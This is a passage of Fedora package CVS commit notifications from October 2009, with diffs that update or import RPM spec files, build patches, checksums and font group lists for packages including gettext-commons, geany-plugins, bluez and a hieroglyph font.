diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:08:25 -0000	1.1
+++ .cvsignore	31 Oct 2009 16:36:41 -0000	1.2
@@ -0,0 +1 @@
+gettext-commons-0.9.6-src.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gettext-commons/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:08:26 -0000	1.1
+++ sources	31 Oct 2009 16:36:42 -0000	1.2
@@ -0,0 +1 @@
+20274e0dc252ebb6c12059352936b39e  gettext-commons-0.9.6-src.tar.gz



From musuruan at fedoraproject.org  Sat Oct 31 16:37:56 2009
From: musuruan at fedoraproject.org (musuruan)
Date: Sat, 31 Oct 2009 16:37:56 +0000 (UTC)
Subject: rpms/gettext-commons/F-10 gettext-commons-0.9.6-buildxml.patch, NONE,
	1.1 gettext-commons-0.9.6-javadoc.patch, NONE,
	1.1 gettext-commons.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091031163756.1E90111C00EF@cvs1.fedora.phx.redhat.com>

Author: musuruan

Update of /cvs/pkgs/rpms/gettext-commons/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9317/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	gettext-commons-0.9.6-buildxml.patch 
	gettext-commons-0.9.6-javadoc.patch gettext-commons.spec 
	import.log 
Log Message:
First import


gettext-commons-0.9.6-buildxml.patch:
 build.xml |   65 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 65 insertions(+)

--- NEW FILE gettext-commons-0.9.6-buildxml.patch ---

diff -Nur libgettext-commons-java-0.9/build.xml libgettext-commons-java-0.9.new/build.xml
--- libgettext-commons-java-0.9/build.xml	1970-01-01 00:00:00.000000000 +0000
+++ libgettext-commons-java-0.9.new/build.xml	2007-07-24 16:14:16.000000000 +0000
@@ -0,0 +1,65 @@
+<?xml version="1.0"?>
+
+<project name="gettext-commons" default="dist-binaries" basedir=".">
+
+    <description>gettext-commons for java build file</description>
+
+    <property name="dist" location="Releases"/>
+    <property name="build" value="Build"/>
+    <property name="src" value="src/java"/>
+    <property name="javadoc" value="api"/>
+    <property name="verbose" value="true"/>
+    <property name="debug" value="off"/>
+    <property name="version" value="0.9"/>
+
+    <target name="clean" description="deletes and recreates the destination directory">
+        <delete verbose="${verbose}" dir="${build}"/>
+        <delete verbose="${verbose}" dir="${dist}"/>
+        <delete verbose="${verbose}" dir="${javadoc}"/>
+        <mkdir dir="${build}"/>
+        <mkdir dir="${dist}"/>
+    </target>
+
+    <target name="compile" description="compile the source">
+        <javac classpath="${classpath}"
+            srcdir="${src}"
+            destdir="${build}"
+            debug="${debug}"
+            verbose="${verbose}"/>
+    </target>
+
+    <target name="dist-binaries" depends="clean, compile, javadoc" description="generate binary distribution">
+        <jar destfile="${dist}/gettext-commons-${version}.jar" update="false">
+            <manifest>
+                <attribute name="Main-Class" value="org.xnap.commons.i18n.I18n"/>
+            </manifest>
+            <fileset dir="${build}" excludes="**/test/*.class" />
+        </jar>
+    </target>
+
+    <target name="dist-source" depends="clean, compile" description="generate source distribution">
+        <jar destfile="${dist}/gettext-commons-${version}-src.jar" update="false">
+            <fileset dir="."
+                includes="${src}/**/*.java, ${src}/**/*.metadata, build.xml"/>
+        </jar>
+    </target>
+
+    <target name="javadoc" description="generate javadoc documentation">
+        <javadoc
+            destdir="${javadoc}"
+            defaultexcludes="yes"
+            author="true"
+            version="true"
+            use="true"
+            access="protected"
+            windowtitle="gettext-commons javadoc"
+            failonerror="true">
+            <packageset dir="${src}" defaultexcludes="yes">
+                <include name="org/xnap/commons/i18n/**"/>
+            </packageset>
+        </javadoc>
+    </target>
+
+    <target name="all" depends="dist-source, dist-binaries, javadoc" description="prepare source and binary distributions, and javadoc"/>
+
+</project>


gettext-commons-0.9.6-javadoc.patch:
 I18n.java |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE gettext-commons-0.9.6-javadoc.patch ---
diff -durN gettext-commons-0.9.6.orig/src/java/org/xnap/commons/i18n/I18n.java gettext-commons-0.9.6/src/java/org/xnap/commons/i18n/I18n.java
--- gettext-commons-0.9.6.orig/src/java/org/xnap/commons/i18n/I18n.java	2009-02-11 16:03:21.000000000 +0100
+++ gettext-commons-0.9.6/src/java/org/xnap/commons/i18n/I18n.java	2009-08-14 14:47:58.000000000 +0200
@@ -544,7 +544,7 @@
 
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj</code>
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj</code>
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5
@@ -555,7 +555,7 @@
 	
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj1</code> and <code>obj2</code> 
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj1</code> and <code>obj2</code> 
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5
@@ -566,7 +566,7 @@
 	
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj1</code>, <code>obj2</code> and <code>obj3</code>
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj1</code>, <code>obj2</code> and <code>obj3</code>
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5
@@ -577,7 +577,7 @@
 	
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj1</code>, <code>obj2</code>, <code>obj3</code> and <code>obj4</code>
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj1</code>, <code>obj2</code>, <code>obj3</code> and <code>obj4</code>
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5


--- NEW FILE gettext-commons.spec ---
Name:           gettext-commons
Version:        0.9.6
Release:        4%{?dist}
Summary:        Java internationalization (i18n) library

Group:          Development/Libraries
License:        LGPLv2+
URL:            http://code.google.com/p/gettext-commons/
Source0:        http://gettext-commons.googlecode.com/files/%{name}-%{version}-src.tar.gz
# This patch is from Debian
Patch0:         %{name}-0.9.6-buildxml.patch
# Fix some javadoc warnings
# http://code.google.com/p/gettext-commons/issues/detail?id=36
Patch1:         %{name}-0.9.6-javadoc.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant
Requires:       jpackage-utils
Requires:       java


%description
The Gettext Commons project provides Java classes for internationalization 
(i18n) through GNU gettext.

The lightweight library combines the power of the unix-style gettext tools 
with the widely used Java ResourceBundles. This makes it possible to use the 
original text instead of arbitrary property keys, which is less cumbersome 
and makes programs easier to read.


%package javadoc
Summary:        Javadocs for %{name}
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils


%description javadoc
This package contains the API documentation for %{name}.


%prep
%setup -q
%patch0 -p1
%patch1 -p1

# Remove pre-built JAR and class files
find -name '*.jar' -exec rm -f '{}' \;
find -name '*.class' -exec rm -f '{}' \;


%build
ant


%install
rm -rf $RPM_BUILD_ROOT

mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p Releases/%{name}-0.9.jar   \
  $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar

# JAR alias
pushd $RPM_BUILD_ROOT%{_javadir}
ln -sf %{name}-%{version}.jar %{name}.jar
popd

# javadoc
mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
cp -rp api/*  \
  $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}

#javadoc alias
pushd $RPM_BUILD_ROOT%{_javadocdir}
ln -sf %{name}-%{version} %{name}
popd



%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{name}.jar
%doc ChangeLog LICENSE.txt README


%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}
%{_javadocdir}/%{name}-%{version}


%changelog
* Fri Oct 16 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-4
- Submitted javadoc patch upstream
- Fixed javadoc package requires
- Created javadoc directory alias

* Fri Aug 14 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-3
- Fixed javadoc generation

* Sun Aug 09 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-2
- Created JAR alias

* Sun Aug 02 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-1
- First release
- Used build.xml from Debian


--- NEW FILE import.log ---
gettext-commons-0_9_6-4_fc10:F-10:gettext-commons-0.9.6-4.fc10.src.rpm:1257007047


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gettext-commons/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:08:25 -0000	1.1
+++ .cvsignore	31 Oct 2009 16:37:55 -0000	1.2
@@ -0,0 +1 @@
+gettext-commons-0.9.6-src.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gettext-commons/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:08:26 -0000	1.1
+++ sources	31 Oct 2009 16:37:55 -0000	1.2
@@ -0,0 +1 @@
+20274e0dc252ebb6c12059352936b39e  gettext-commons-0.9.6-src.tar.gz



From dmaphy at fedoraproject.org  Sat Oct 31 16:46:16 2009
From: dmaphy at fedoraproject.org (Dominic Hopf)
Date: Sat, 31 Oct 2009 16:46:16 +0000 (UTC)
Subject: rpms/geany-plugins/F-11 .cvsignore, 1.2, 1.3 geany-plugins.spec, 1.2,
	1.3 sources, 1.2, 1.3
Message-ID: <20091031164616.DE85611C00EF@cvs1.fedora.phx.redhat.com>

Author: dmaphy

Update of /cvs/pkgs/rpms/geany-plugins/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11451

Modified Files:
	.cvsignore geany-plugins.spec sources 
Log Message:
New upstream release of Geany-Plugins



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/geany-plugins/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	31 Jul 2009 19:49:42 -0000	1.2
+++ .cvsignore	31 Oct 2009 16:46:15 -0000	1.3
@@ -1 +1 @@
-geany-plugins-0.17.1.tar.gz
+geany-plugins-0.18.tar.bz2


Index: geany-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/geany-plugins/F-11/geany-plugins.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- geany-plugins.spec	16 Aug 2009 21:03:49 -0000	1.2
+++ geany-plugins.spec	31 Oct 2009 16:46:16 -0000	1.3
@@ -2,14 +2,14 @@
 %global req_geany_ver 0.18
 
 Name:           geany-plugins
-Version:        0.17.1
-Release:        5%{?dist}
+Version:        0.18
+Release:        1%{?dist}
 Summary:        Plugins for Geany
 
 Group:          Development/Tools
 License:        GPLv2+
 URL:            http://plugins.geany.org/
-Source0:        http://plugins.geany.org/geany-plugins/geany-plugins-%{version}.tar.gz
+Source0:        http://plugins.geany.org/geany-plugins/geany-plugins-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  geany-devel >= %{req_geany_ver} gettext intltool pkgconfig
@@ -167,6 +167,39 @@ Spellcheck checks the selected text (or 
 library Enchant
 
 
+%package geanydoc
+Summary:   Call documentation from within Geany
+Group:     Development/Tools
+Requires:  geany >= %{req_geany_ver}
+Requires:  geany-plugins-common = %{version}-%{release}
+
+%description geanydoc
+Geanydoc allows you to execute specific commands on the word under the cursor.
+This word is passed as an argument to the command. The output of the command
+can either be placed into a special buffer called "DOC" or can be used to
+execute an external program. Geanydoc is intended to be used for searching
+through API documentation.
+
+
+%package geanyprj
+Summary:   Provides an alternate project management tool for Geany
+Group:     Development/Tools
+Requires:  geany >= %{req_geany_ver}
+Requires:  geany-plugins-common = %{version}-%{release}
+
+%description geanyprj
+Geanyprj provides an alternate project management approach to Geany's built-in
+project facility. The idea is to be less a "session manager" as the built-in
+project management does: It allows/requires you to manually open and close
+project and allows you to store project files in different locations from
+project sources.
+
+Geanyprj takes a different approach:
+It never saves session information, so that project files can be stored in
+version control without constant noise from changes of opened files or cursor
+position. You also will never have to open/close projects manually. If a
+*.geanyprj file is found somewhere up in path it will be opened automatically.
+
 
 %prep
 %setup -q
@@ -254,7 +287,22 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/geany/spellcheck.so
 
 
+%files geanydoc
+%defattr(-,root,root,-)
+%doc %{geany_plug_docdir}/geanydoc/
+%{_libdir}/geany/geanydoc.so
+
+
+%files geanyprj
+%defattr(-,root,root,-)
+%doc %{geany_plug_docdir}/geanyprj/
+%{_libdir}/geany/geanyprj.so
+
+
 %changelog
+* Sat Oct 31 2009 Dominic Hopf <dmaphy at fedoraproject.org> 0.18-1
+- update to new upstream release
+
 * Sat Aug 16 2009 Dominic Hopf <dmaphy at fedoraproject.org> 0.17.1-5
 - build against and require geany 0.18
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/geany-plugins/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	31 Jul 2009 19:49:42 -0000	1.2
+++ sources	31 Oct 2009 16:46:16 -0000	1.3
@@ -1 +1 @@
-9587a8d8680c73833c7c55b9e1fd58aa  geany-plugins-0.17.1.tar.gz
+bf069562a8cf3c3bd48b7282bcce3bc3  geany-plugins-0.18.tar.bz2



From ozamosi at fedoraproject.org  Sat Oct 31 16:48:48 2009
From: ozamosi at fedoraproject.org (Robin Sonefors)
Date: Sat, 31 Oct 2009 16:48:48 +0000 (UTC)
Subject: comps comps-f11.xml.in,1.321,1.322 comps-f13.xml.in,1.65,1.66
Message-ID: <20091031164848.C8DCD11C00EF@cvs1.fedora.phx.redhat.com>

Author: ozamosi

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12653

Modified Files:
	comps-f11.xml.in comps-f13.xml.in 
Log Message:
Add msimonson-anonymouspro-fonts to F-11 and F-13



Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.321
retrieving revision 1.322
diff -u -p -r1.321 -r1.322
--- comps-f11.xml.in	31 Oct 2009 05:17:28 -0000	1.321
+++ comps-f11.xml.in	31 Oct 2009 16:48:48 -0000	1.322
@@ -1802,6 +1802,7 @@
       <packagereq type="optional">mgopen-modata-fonts</packagereq>
       <packagereq type="optional">mgopen-moderna-fonts</packagereq>
       <packagereq type="optional">mscore-mscore-fonts</packagereq>
+      <packagereq type="optional">msimonson-anonymouspro-fonts</packagereq>
       <packagereq type="optional">myanmar3-unicode-fonts</packagereq>
       <packagereq type="optional">nafees-web-naskh-fonts</packagereq>
       <packagereq type="optional">oflb-goudy-bookletter-1911-fonts</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- comps-f13.xml.in	31 Oct 2009 05:17:28 -0000	1.65
+++ comps-f13.xml.in	31 Oct 2009 16:48:48 -0000	1.66
@@ -1975,6 +1975,7 @@
       <packagereq type="optional">mgopen-modata-fonts</packagereq>
       <packagereq type="optional">mgopen-moderna-fonts</packagereq>
       <packagereq type="optional">mscore-fonts</packagereq>
+      <packagereq type="optional">msimonson-anonymouspro-fonts</packagereq>
       <packagereq type="optional">myanmar3-unicode-fonts</packagereq>
       <packagereq type="optional">nafees-web-naskh-fonts</packagereq>
       <packagereq type="optional">oflb-goudy-bookletter-1911-fonts</packagereq>



From dmaphy at fedoraproject.org  Sat Oct 31 16:53:51 2009
From: dmaphy at fedoraproject.org (Dominic Hopf)
Date: Sat, 31 Oct 2009 16:53:51 +0000 (UTC)
Subject: rpms/geany-plugins/devel .cvsignore, 1.3, 1.4 geany-plugins.spec,
	1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091031165351.2901F11C00EF@cvs1.fedora.phx.redhat.com>

Author: dmaphy

Update of /cvs/pkgs/rpms/geany-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14054

Modified Files:
	.cvsignore geany-plugins.spec sources 
Log Message:
New upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/geany-plugins/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	10 Aug 2009 19:31:36 -0000	1.3
+++ .cvsignore	31 Oct 2009 16:53:49 -0000	1.4
@@ -1 +1 @@
-geany-plugins-0.17.1.tar.bz2
+geany-plugins-0.18.tar.bz2


Index: geany-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/geany-plugins/devel/geany-plugins.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- geany-plugins.spec	16 Aug 2009 21:08:19 -0000	1.3
+++ geany-plugins.spec	31 Oct 2009 16:53:50 -0000	1.4
@@ -2,8 +2,8 @@
 %global req_geany_ver 0.18
 
 Name:           geany-plugins
-Version:        0.17.1
-Release:        6%{?dist}
+Version:        0.18
+Release:        1%{?dist}
 Summary:        Plugins for Geany
 
 Group:          Development/Tools
@@ -167,6 +167,39 @@ Spellcheck checks the selected text (or 
 library Enchant
 
 
+%package geanydoc
+Summary:   Call documentation from within Geany
+Group:     Development/Tools
+Requires:  geany >= %{req_geany_ver}
+Requires:  geany-plugins-common = %{version}-%{release}
+
+%description geanydoc
+Geanydoc allows you to execute specific commands on the word under the cursor.
+This word is passed as an argument to the command. The output of the command
+can either be placed into a special buffer called "DOC" or can be used to
+execute an external program. Geanydoc is intended to be used for searching
+through API documentation.
+
+
+%package geanyprj
+Summary:   Provides an alternate project management tool for Geany
+Group:     Development/Tools
+Requires:  geany >= %{req_geany_ver}
+Requires:  geany-plugins-common = %{version}-%{release}
+
+%description geanyprj
+Geanyprj provides an alternate project management approach to Geany's built-in
+project facility. The idea is to be less a "session manager" as the built-in
+project management does: It allows/requires you to manually open and close
+project and allows you to store project files in different locations from
+project sources.
+
+Geanyprj takes a different approach:
+It never saves session information, so that project files can be stored in
+version control without constant noise from changes of opened files or cursor
+position. You also will never have to open/close projects manually. If a
+*.geanyprj file is found somewhere up in path it will be opened automatically.
+
 
 %prep
 %setup -q
@@ -254,7 +287,22 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/geany/spellcheck.so
 
 
+%files geanydoc
+%defattr(-,root,root,-)
+%doc %{geany_plug_docdir}/geanydoc/
+%{_libdir}/geany/geanydoc.so
+
+
+%files geanyprj
+%defattr(-,root,root,-)
+%doc %{geany_plug_docdir}/geanyprj/
+%{_libdir}/geany/geanyprj.so
+
+
 %changelog
+* Sat Oct 31 2009 Dominic Hopf <dmaphy at fedoraproject.org> 0.18-1
+- update to new upstream release
+
 * Sat Aug 16 2009 Dominic Hopf <dmaphy at fedoraproject.org> 0.17.1-6
 - build against and require geany 0.18
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/geany-plugins/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	10 Aug 2009 19:31:36 -0000	1.3
+++ sources	31 Oct 2009 16:53:50 -0000	1.4
@@ -1 +1 @@
-cf69cdb50917609915240f5d2ba4e2d7  geany-plugins-0.17.1.tar.bz2
+bf069562a8cf3c3bd48b7282bcce3bc3  geany-plugins-0.18.tar.bz2



From ozamosi at fedoraproject.org  Sat Oct 31 16:57:23 2009
From: ozamosi at fedoraproject.org (Robin Sonefors)
Date: Sat, 31 Oct 2009 16:57:23 +0000 (UTC)
Subject: rpms/gdouros-aegyptus-fonts/F-11
	gdouros-aegyptus-fonts-fontconfig.conf, NONE,
	1.1 gdouros-aegyptus-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091031165723.0CB6911C00EF@cvs1.fedora.phx.redhat.com>

Author: ozamosi

Update of /cvs/pkgs/rpms/gdouros-aegyptus-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14513

Modified Files:
	.cvsignore sources 
Added Files:
	gdouros-aegyptus-fonts-fontconfig.conf 
	gdouros-aegyptus-fonts.spec 
Log Message:
Version 2.52



--- NEW FILE gdouros-aegyptus-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>Aegyptus</family>
    </prefer>
  </alias>
  <alias>
    <family>Aegyptus</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE gdouros-aegyptus-fonts.spec ---
%global fontname gdouros-aegyptus
%global fontconf 65-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        2.52
Release:        1%{?dist}
Summary:        A font for Egyptian hieroglyphs

Group:          User Interface/X
License:        Copyright only
URL:            http://users.teilar.gr/~g1951d/
Source0:        http://users.teilar.gr/~g1951d/Aegyptus.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Aegyptus encodes over 7000 hieroglyphs.

There is no standard for Egyptian Hieroglyphs or Meroitic, so they are
allocated in the Supplementary Private Use Plane 15. The font also covers Basic
Latin, Egyptian Transliteration characters, some Punctuation and other Symbols,
and the Gardiner set of 1071 Egyptian Hieroglyphs, now suppored by The Unicode
Standard 5.2 in the new SMP block 13000 - 1342F.

It was created by George Douros, mainly based on the book Hieroglyphica,
PIREI I?, 2000.

%prep
%setup -q -c


%build


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p Aegyptus.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} Aegyptus.otf

%doc *.txt


%changelog
* Wed Oct 21 2009 Robin Sonefors <ozamosi at flukkost.nu> 2.52-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gdouros-aegyptus-fonts/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:11:30 -0000	1.1
+++ .cvsignore	31 Oct 2009 16:57:22 -0000	1.2
@@ -0,0 +1 @@
+Aegyptus.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gdouros-aegyptus-fonts/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:11:30 -0000	1.1
+++ sources	31 Oct 2009 16:57:22 -0000	1.2
@@ -0,0 +1 @@
+c063380062974eb8cb36c8db329ec8ef  Aegyptus.zip



From hadess at fedoraproject.org  Sat Oct 31 17:04:57 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Sat, 31 Oct 2009 17:04:57 +0000 (UTC)
Subject: rpms/bluez/devel .cvsignore, 1.50, 1.51 bluez.spec, 1.101,
	1.102 sources, 1.50, 1.51
Message-ID: <20091031170458.05BE111C00EF@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/bluez/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16928

Modified Files:
	.cvsignore bluez.spec sources 
Log Message:
* Sat Oct 31 2009 Bastien Nocera <bnocera at redhat.com> 4.57-1
- Update to 4.57



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/devel/.cvsignore,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- .cvsignore	10 Oct 2009 13:21:34 -0000	1.50
+++ .cvsignore	31 Oct 2009 17:04:57 -0000	1.51
@@ -1 +1 @@
-bluez-4.56.tar.gz
+bluez-4.57.tar.gz


Index: bluez.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/devel/bluez.spec,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- bluez.spec	10 Oct 2009 13:21:34 -0000	1.101
+++ bluez.spec	31 Oct 2009 17:04:57 -0000	1.102
@@ -1,6 +1,6 @@
 Summary: Bluetooth utilities
 Name: bluez
-Version: 4.56
+Version: 4.57
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -272,6 +272,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/pand
 
 %changelog
+* Sat Oct 31 2009 Bastien Nocera <bnocera at redhat.com> 4.57-1
+- Update to 4.57
+
 * Sat Oct 10 2009 Bastien Nocera <bnocera at redhat.com> 4.56-1
 - Update to 4.56
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/devel/sources,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- sources	10 Oct 2009 13:21:35 -0000	1.50
+++ sources	31 Oct 2009 17:04:57 -0000	1.51
@@ -1 +1 @@
-92ea2e86a5489f0d16567920f2ec9b36  bluez-4.56.tar.gz
+dc29e54f1204ac4215caeeee062b26f6  bluez-4.57.tar.gz



From mtasaka at fedoraproject.org  Sat Oct 31 17:08:39 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sat, 31 Oct 2009 17:08:39 +0000 (UTC)
Subject: rpms/jd/F-11 .cvsignore, 1.405, 1.406 jd.spec, 1.468, 1.469 sources,
	1.406, 1.407
Message-ID: <20091031170839.9868011C00EF@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17955/F-11

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Sun Nov  1 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3151



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/.cvsignore,v
retrieving revision 1.405
retrieving revision 1.406
diff -u -p -r1.405 -r1.406
--- .cvsignore	25 Oct 2009 17:39:59 -0000	1.405
+++ .cvsignore	31 Oct 2009 17:08:38 -0000	1.406
@@ -1 +1 @@
-jd-2.5.0-svn3140_trunk.tgz
+jd-2.5.0-svn3151_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/jd.spec,v
retrieving revision 1.468
retrieving revision 1.469
diff -u -p -r1.468 -r1.469
--- jd.spec	25 Oct 2009 17:39:59 -0000	1.468
+++ jd.spec	31 Oct 2009 17:08:38 -0000	1.469
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3140_trunk
+%define         strtag        svn3151_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Mon Oct 26 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3140
+* Sun Nov  1 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3151
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/sources,v
retrieving revision 1.406
retrieving revision 1.407
diff -u -p -r1.406 -r1.407
--- sources	25 Oct 2009 17:40:00 -0000	1.406
+++ sources	31 Oct 2009 17:08:38 -0000	1.407
@@ -1 +1 @@
-c6effb9c103ac8f25f4b1e5423660c1d  jd-2.5.0-svn3140_trunk.tgz
+3ca05c44dbb59e25af84bda98bf17327  jd-2.5.0-svn3151_trunk.tgz



From mtasaka at fedoraproject.org  Sat Oct 31 17:08:39 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sat, 31 Oct 2009 17:08:39 +0000 (UTC)
Subject: rpms/jd/F-10 .cvsignore, 1.410, 1.411 jd.spec, 1.471, 1.472 sources,
	1.411, 1.412
Message-ID: <20091031170839.9928F11C02A0@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17955/F-10

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Sun Nov  1 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3151



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/.cvsignore,v
retrieving revision 1.410
retrieving revision 1.411
diff -u -p -r1.410 -r1.411
--- .cvsignore	25 Oct 2009 17:39:59 -0000	1.410
+++ .cvsignore	31 Oct 2009 17:08:38 -0000	1.411
@@ -1 +1 @@
-jd-2.5.0-svn3140_trunk.tgz
+jd-2.5.0-svn3151_trunk.tgz


